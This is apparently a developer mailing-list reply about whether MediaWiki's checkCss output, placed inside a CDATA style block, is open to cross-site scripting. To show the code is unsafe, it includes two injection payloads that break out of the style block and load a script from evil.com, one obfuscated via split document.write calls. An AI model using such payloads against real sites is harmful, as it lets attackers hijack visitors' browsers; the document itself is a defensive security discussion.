On Thu, Jul 31, 2008 at 12:57 PM, Rotem Liss <rotemliss(a)gmail.com> wrote:
Sanitizer::checkCss should ensure that $css is valid
CSS, and returns false
(i.e. "it was just too evil", according to its docs) for your suggested
string.
The code should check for this case (i.e. for returning false), but it doesn't
seem like an XSS exploit - it will probably just add an empty CSS block.
Well, that's because I included an undisguised URL. It lets this
through untouched, which should be equivalent, IIRC (at least if the
current connection is over HTTP):
]]></style><script type="text/javascript"
src="//evil.com/take_over_browser.js"></script><style
type="text/css"><![CDATA[
Also this, which should always be equivalent:
]]></style><script type="text/javascript">document.write(
'<script
type="text/javascript" src="htt' ); document.write(
'p://evil.com/take_over_browser.js"></script>'
);</script><style
type="text/css"><![CDATA[
checkCss assumes that its output will be executed as CSS, and is quite
safe if that's the case. If the output can be executed as HTML, it's
not safe at all.
About the CDATA section, it seems that the XHTML
standard recommends using it.
It doesn't recommend it, it just suggests it as one possibility to
ensure that markup is valid:
http://www.w3.org/TR/xhtml1/#h-4.8
This is in contrast to HTML, where (at least in practice) browsers
would special-case the contents of script and style tags and might be
kind if there were unescaped content there. Using htmlspecialchars is
just as valid a way of escaping here.
It is also used in core, e.g. in the script of
variables in each page.
That's not an XSS exploit by itself, because that's added either by
the software or by sysops, both of whom are allowed to inject
arbitrary JS. Of course, there's no XSS vulnerability if unescaped
*scripts* are put in CDATA tags anyway. You can inject arbitrary
scripts without having to break outside the CDATA in that case,
obviously.